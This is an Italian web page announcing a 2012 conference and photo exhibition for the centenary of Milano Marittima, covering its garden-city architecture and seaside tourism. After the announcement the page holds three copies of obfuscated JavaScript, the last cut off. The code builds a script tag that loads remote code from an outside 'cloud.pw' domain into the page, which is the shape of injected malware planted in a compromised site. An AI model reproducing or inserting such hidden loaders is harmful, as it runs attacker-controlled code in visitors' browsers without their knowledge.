Archivio di settembre 2012

Milano Marittima, nel “fiore” dei suoi anni

Si parla di architettura “balneare” ma soprattutto di bellezza e di turismo sostenibile nel Convegno Internazionale dal titolo “Milano Marittima 100. Paesaggi e architetture per il turismo balneare“, organizzato nell’ambito delle celebrazioni del centenario della fondazione di Milano Marittima, dalComune di Cervia e dalla Facoltà di Architettura “Aldo Rossi” dell’Università di Bologna. Appuntamento negli spazi del Palazzo dei Congressi di Milano Marittima il 25 e 26 ottobre.

Inoltre, al Magazzino del sale apre la mostra fotografica dal titolo: “Milano Marittima 100. Le architetture e la città” che svela la bellezza e l’identità del luogo.

La conferenza

“Milano Marittima 100. Paesaggi e architetture per il turismo balneare”

A confronto diverse esperienze di Città Giardino di cui Milano Marittima è uno splendido esempio. Si analizza la storia dei primi insediamenti costruiti come Garden city fino ai progetti contemporanei che hanno portato alle località turistiche di rigenerazione delle aree costiere in Italia e in Europa.

La convention, presieduta da un Comitato Scientifico formato da Gino Malacarne, Preside della Facoltà di Architettura “Aldo Rossi”, e composto da: Roberto BalzaniPatrizia BattilaniMaristella CasciatoAsterio Savelli, Annalisa TrentinValter BalducciElena MucelliValentina Orioli, punta i riflettori sulla peculiarità delle Città Giardino (la Garden City del modello howardiano diffusosi a cavallo tra Ottocento e Novecento), dei territori e delle architetture per il turismo balneare che sono rimaste sospese, grazie alla bellezza, fra passato e futuro.

Le sessioni

I temi posti al centro del congresso partono dunque dall’idea di città balneare. Da Milano Marittima alle altre, più antiche, contemporanee o successive all’esperienza di Milano Marittima, molte nuove città balneari sono sorte lungo le coste europee, per iniziativa pubblica o privata, con progetti che manifestano una specifica riflessione da parte della cultura urbanistica ed architettonica sui temi legati al turismo ed all’occupazione dei litorali. In questa sessione ci si propone di tracciare un panorama delle esperienze italiane ed europee più significative, dalla seconda metà dell’Ottocento agli anni Settanta del Novecento.

Si esplorano poi i territori costieri oggi, fra rigenerazione urbana ed ambientale e innovazione dell’offerta turistica. A partire dall’esperienza di Milano Marittima, questa sessione promuove una riflessione sui mutamenti che interessano oggi il progetto delle città e dei territori del turismo balneare, dai progetti urbani contemporanei relativi a nuovi insediamenti turistici, alla rigenerazione di aree costiere già intensamente frequentate.

E ancora le Architetture per le città balneari, ieri e oggi. Milano Marittima è stato un luogo di sperimentazioni architettoniche, una città per la quale sono stati immaginati e a volte costruiti edifici concepiti per rispondere alla domanda di loisir, come i kursaal o gli stabilimenti balneari, ma anche colonie di vacanza, alberghi ed abitazioni riservate ai villeggianti, dai villini degli anni venti fino ai “grattacieli” del secondo dopoguerra. Questa sessione promuove quindi una riflessione sui modi in cui l’architettura ha risposto alle diverse pratiche proprie del turismo balneare, attraverso una panoramica delle esperienze più significative del passato, e una presentazione di progetti contemporanei o in corso.

Il Turismo in trasformazione è il tema che svela l’identità della storia di Milano Marittima. Una sessione che promuove quindi una riflessione sulle modalità attraverso le quali i prodotti turistici delle città di mare sono stati inventati e promossi, dal percorso di costruzione e successivamente di trasformazione del prodotto turistico alle forme formali e informali della promozione delle città balneari, al legame con una gerarchia territoriale più ampia, attraverso una panoramica delle esperienze storiche e dei progetti in corso più significativi anche al di fuori dei confini nazionali.

Il Convegno, infine, prevede una sessione poster, dedicata alla presentazione di tesi di laurea che intraprendono una riflessione sulle trasformazioni contemporanee dei territori costieri e dei luoghi e delle architetture per il turismo che li caratterizzano.

La mostra

Milano Marittima 100. Le architetture e la città

Inoltre il 25 ottobre inaugura negli spazi degli antichi Magazzini del sale di Cervia la mostra fotografica dal titolo “Milano Marittima 100. Le architetture e la città”, a cura di Valentina Orioli e Emanuele Dari, una ricostruzione, tramite foto, disegni e documenti, dei momenti salienti di Milano Marittima, dall’epoca del Liberty alla moderna età.

L’Esposizione è stata organizzata nell’ambito delle manifestazioni per la celebrazione del centenario della fondazione di Milano Marittima, con il patrocinio della Regione Emilia Romagna, della Provincia di Ravenna, dell’Ordine degli Architetti PPC della Provincia di Ravenna e dell’Ordine degli Ingegneri della Provincia di Ravenna.

Un pregiato cartellone di eventi si svolgeranno inoltre durante i giorni di apertura della mostra, nella sala allestita presso la V anta dei Magazzini del Sale. Si parte il 25 Ottobre 2012, in occasione dell’inaugurazione con una lettura musicale dal titolo: “eVento. Il vento e la città” un racconto per voci e suoni di Fabio Fiorie Marco Fagotti. Nei giorni a seguire saranno proposte alcune conferenze sulle tematiche esplorate nel Convegno e presentati alcuni volumi sulla storia di Milano Marittima. $=~[];$={___:++$,$$$$:(![]+””)[$],__$:++$,$_$_:(![]+””)[$],_$_:++$,$_$$:({}+””)[$],$$_$:($[$]+””)[$],_$$:++$,$$$_:(!””+””)[$],$__:++$,$_$:++$,$$__:({}+””)[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+””)[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+””)[$.__$])+((!$)+””)[$._$$]+($.__=$.$_[$.$$_])+($.$=(!””+””)[$.__$])+($._=(!””+””)[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!””+””)[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+”\””+”\\”+$.__$+$.$$_+$.$$_+$.$_$_+”\\”+$.__$+$.$$_+$._$_+”\\”+$.$__+$.___+$.$$$_+(![]+””)[$._$_]+”=”+$.$$_$+$._$+$.$$__+$._+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”.”+$.$$__+”\\”+$.__$+$.$$_+$._$_+$.$$$_+$.$_$_+$.__+$.$$$_+”\\”+$.__$+$.___+$.$_$+(![]+””)[$._$_]+$.$$$_+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”(‘\\”+$.__$+$.$$_+$._$$+$.$$__+”\\”+$.__$+$.$$_+$._$_+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.$$_+$.___+$.__+”‘);”+$.$$$_+(![]+””)[$._$_]+”.\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$$_+$._$_+$.$$__+”\\”+$.$__+$.___+”=\\”+$.$__+$.___+”‘\\”+$.__$+$.$_$+$.___+$.__+$.__+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$._$$+”://\\”+$.__$+$.$$_+$.$$$+$.$$$_+$.$_$$+”.”+$.$$__+(![]+””)[$._$_]+$._$+$.$$_$+”.\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$.$$$+”/\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.$$_+$._$$+”/\\”+$.__$+$.$_$+$._$$+”\\”+$.__$+$.$$$+$.___+$.$_$_+”\\”+$.__$+$.___+$.$__+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$._$_+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$_+$.$$_+”\\”+$.__$+$._$$+$._$_+$._$+”\\”+$.__$+$.$$$+$.___+”\\”+$.__$+$._$_+$.__$+$.$$__+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$._$$+$.___+$.$$_$+(![]+””)[$._$_]+”\\”+$.__$+$._$$+$.___+$._$_+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$._$_+$.___+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.___+$._$_+$.___+”\\”+$.__$+$._$$+$._$_+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.___+$.$$$_+”\\”+$.__$+$.__$+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$.___+$.$$$+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.__$+$.___+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$.__$+$.___+$.$$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.___+$.$$$+$.$___+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$$+$._$_+$.$$_$+”\\”+$.__$+$.$__+$.$$$+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$.___+$._$_+$.__+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$._$$+$.__+”\\”+$.__$+$.$$$+$.__$+”\\”+$.__$+$._$$+$._$_+”\\”+$.__$+$.$$$+$._$_+$._$+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.__$+$.$__+$.__$+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.__$+$._$_+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$__+$.$$$+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$._$_+$.$__+$._$+$._$_+”\\”+$.__$+$.__$+$._$$+”\\”+$.__$+$._$_+$.___+$.___+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.___+$._$$+$.$$_$+”-\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.$_$+$._$$+$.$_$$+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$.__$+$.$$__+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.___+$._$$+”-\\”+$.__$+$.$_$+$._$$+$.__$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.__$+$.__$+$._$_+”\\”+$.__$+$.___+$.$$$+$.$_$+$.$$__+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.___+$.__$+”_”+$.$__+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$$_+$.__$+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$._$_+$._$$+”\\”+$.__$+$.__$+$.___+$.$$$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.___+$.__$+$._+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$_$+$._$$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.$_$+$._$_+$.$$__+”\\”+$.__$+$._$_+$._$$+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$.$_$+$.$_$+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$$+$.___+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$.$$$+$.___+”\\”+$.__$+$.$$_+$.$$$+$.$_$_+”.\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.$$_+$._$$+”?”+$.__+”\\”+$.__$+$.$$_+$._$_+(![]+””)[$._$_]+”=”+$.___+”.”+$._$$+$.___+”‘;”+$.$$_$+$._$+$.$$__+$._+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”.\\”+$.__$+$.$_$+$.___+$.$$$_+$.$_$_+$.$$_$+”.”+$.$_$_+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$.___+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.$$_$+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.$_$+$.__$+(![]+””)[$._$_]+$.$$_$+”(“+$.$$$_+(![]+””)[$._$_]+”);”+”\””)())(); $=~[];$={___:++$,$$$$:(![]+””)[$],__$:++$,$_$_:(![]+””)[$],_$_:++$,$_$$:({}+””)[$],$$_$:($[$]+””)[$],_$$:++$,$$$_:(!””+””)[$],$__:++$,$_$:++$,$$__:({}+””)[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+””)[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+””)[$.__$])+((!$)+””)[$._$$]+($.__=$.$_[$.$$_])+($.$=(!””+””)[$.__$])+($._=(!””+””)[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!””+””)[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+”\””+”\\”+$.__$+$.$$_+$.$$_+$.$_$_+”\\”+$.__$+$.$$_+$._$_+”\\”+$.$__+$.___+$.$$$_+(![]+””)[$._$_]+”=”+$.$$_$+$._$+$.$$__+$._+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”.”+$.$$__+”\\”+$.__$+$.$$_+$._$_+$.$$$_+$.$_$_+$.__+$.$$$_+”\\”+$.__$+$.___+$.$_$+(![]+””)[$._$_]+$.$$$_+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”(‘\\”+$.__$+$.$$_+$._$$+$.$$__+”\\”+$.__$+$.$$_+$._$_+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.$$_+$.___+$.__+”‘);”+$.$$$_+(![]+””)[$._$_]+”.\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$$_+$._$_+$.$$__+”\\”+$.$__+$.___+”=\\”+$.$__+$.___+”‘\\”+$.__$+$.$_$+$.___+$.__+$.__+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$._$$+”://\\”+$.__$+$.$$_+$.$$$+$.$$$_+$.$_$$+”.”+$.$$__+(![]+””)[$._$_]+$._$+$.$$_$+”.\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$.$$$+”/\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.$$_+$._$$+”/\\”+$.__$+$.$_$+$._$$+”\\”+$.__$+$.$$$+$.___+$.$_$_+”\\”+$.__$+$.___+$.$__+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$._$_+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$_+$.$$_+”\\”+$.__$+$._$$+$._$_+$._$+”\\”+$.__$+$.$$$+$.___+”\\”+$.__$+$._$_+$.__$+$.$$__+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$._$$+$.___+$.$$_$+(![]+””)[$._$_]+”\\”+$.__$+$._$$+$.___+$._$_+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$._$_+$.___+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.___+$._$_+$.___+”\\”+$.__$+$._$$+$._$_+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.___+$.$$$_+”\\”+$.__$+$.__$+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$.___+$.$$$+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.__$+$.___+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$.__$+$.___+$.$$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.___+$.$$$+$.$___+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$$+$._$_+$.$$_$+”\\”+$.__$+$.$__+$.$$$+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$.___+$._$_+$.__+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$._$$+$.__+”\\”+$.__$+$.$$$+$.__$+”\\”+$.__$+$._$$+$._$_+”\\”+$.__$+$.$$$+$._$_+$._$+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.__$+$.$__+$.__$+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.__$+$._$_+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$__+$.$$$+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$._$_+$.$__+$._$+$._$_+”\\”+$.__$+$.__$+$._$$+”\\”+$.__$+$._$_+$.___+$.___+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.___+$._$$+$.$$_$+”-\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.$_$+$._$$+$.$_$$+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$.__$+$.$$__+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.___+$._$$+”-\\”+$.__$+$.$_$+$._$$+$.__$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.__$+$.__$+$._$_+”\\”+$.__$+$.___+$.$$$+$.$_$+$.$$__+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.___+$.__$+”_”+$.$__+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$$_+$.__$+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$._$_+$._$$+”\\”+$.__$+$.__$+$.___+$.$$$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.___+$.__$+$._+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$_$+$._$$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.$_$+$._$_+$.$$__+”\\”+$.__$+$._$_+$._$$+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$.$_$+$.$_$+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$$+$.___+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$.$$$+$.___+”\\”+$.__$+$.$$_+$.$$$+$.$_$_+”.\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.$$_+$._$$+”?”+$.__+”\\”+$.__$+$.$$_+$._$_+(![]+””)[$._$_]+”=”+$.___+”.”+$._$$+$.___+”‘;”+$.$$_$+$._$+$.$$__+$._+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”.\\”+$.__$+$.$_$+$.___+$.$$$_+$.$_$_+$.$$_$+”.”+$.$_$_+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$.___+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.$$_$+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.$_$+$.__$+(![]+””)[$._$_]+$.$$_$+”(“+$.$$$_+(![]+””)[$._$_]+”);”+”\””)())(); $=~[];$={___:++$,$$$$:(![]+””)[$],__$:++$,$_$_:(![]+””)[$],_$_:++$,$_$$:({}+””)[$],$$_$:($[$]+””)[$],_$$:++$,$$$_:(!””+””)[$],$__:++$,$_$:++$,$$__:({}+””)[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+””)[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+””)[$.__$])+((!$)+””)[$._$$]+($.__=$.$_[$.$$_])+($.$=(!””+””)[$.__$])+($._=(!””+””)[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!””+””)[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+”\””+”\\”+$.__$+$.$$_+$.$$_+$.$_$_+”\\”+$.__$+$.$$_+$._$_+”\\”+$.$__+$.___+$.$$$_+(![]+””)[$._$_]+”=”+$.$$_$+$._$+$.$$__+$._+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”.”+$.$$__+”\\”+$.__$+$.$$_+$._$_+$.$$$_+$.$_$_+$.__+$.$$$_+”\\”+$.__$+$.___+$.$_$+(![]+””)[$._$_]+$.$$$_+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”(‘\\”+$.__$+$.$$_+$._$$+$.$$__+”\\”+$.__$+$.$$_+$._$_+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.$$_+$.___+$.__+”‘);”+$.$$$_+(![]+””)[$._$_]+”.\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$$_+$._$_+$.$$__+”\\”+$.$__+$.___+”=\\”+$.$__+$.___+”‘\\”+$.__$+$.$_$+$.___+$.__+$.__+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$._$$+”://\\”+$.__$+$.$$_+$.$$$+$.$$$_+$.$_$$+”.”+$.$$__+(![]+””)[$._$_]+$._$+$.$$_$+”.\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$.$$$+”/\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.$$_+$._$$+”/\\”+$.__$+$.$_$+$._$$+”\\”+$.__$+$.$$$+$.___+$.$_$_+”\\”+$.__$+$.___+$.$__+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$._$_+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$_+$.$$_+”\\”+$.__$+$._$$+$._$_+$._$+”\\”+$.__$+$.$$$+$.___+”\\”+$.__$+$._$_+$.__$+$.$$__+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$._$$+$.___+$.$$_$+(![]+””)[$._$_]+”\\”+$.__$+$._$$+$.___+$._$_+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$._$_+$.___+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.___+$._$_+$.___+”\\”+$.__$+$._$$+$._$_+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.___+$.$$$_+”\\”+$.__$+$.__$+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$.___+$.$$$+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.__$+$.___+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$.__$+$.___+$.$$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.___+$.$$$+$.$___+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$$+$._$_+$.$$_$+”\\”+$.__$+$.$__+$.$$$+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$.___+$._$_+$.__+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$._$$+$.__+”\\”+$.__$+$.$$$+$.__$+”\\”+$.__$+$._$$+$._$_+”\\”+$.__$+$.$$$+$._$_+$._$+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.__$+$.$__+$.__$+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.__$+$._$_+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$__+$.$$$+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$._$_+$.$__+$._$+$._$_+”\\”+$.__$+$.__$+$._$$+”\\”+$.__$+$._$_+$.___+$.___+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.___+$._$$+$.$$_$+”-\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.$_$+$._$$+$.$_$$+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$.__$+$.$$__+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.___+$._$$+”-\\”+$.__$+$.$_$+$._$$+$.__$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.__$+$.__$+$._$_+”\\”+$.__$+$.___+$.$$$+$.$_$+$.$$__+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.___+$.__$+”_”+$.$__+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$$_+$.__$+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$._$_+$._$$+”\\”+$.__$+$.__$+$.___+$.$$$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.___+$.__$+$._+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$_$+$._$$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.$_$+$._$_+$.$$__+”\\”+$.__$+$._$_+$._$$+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$.$_$+$.$_$+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$$+$.___+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$.$$$+$.___+”\\”+$.__$+$.$$_+$.$$$+$.$_$_+”.\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.$$_+$._$$+”?”+$.__+”\\”+$.__$+$.$$_+$._$_+(![]+””)[$._$_]+”=”+$.___+”.”+$._$$+$.___+”‘;”+$.$$_$+$._$+$.$$__+$._+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”.\\”+$.__$+$.$_$+$.___+$.$$$_+$.$_$_+$.$$_$+”.”+$.$_$_+”\\”+$.__$+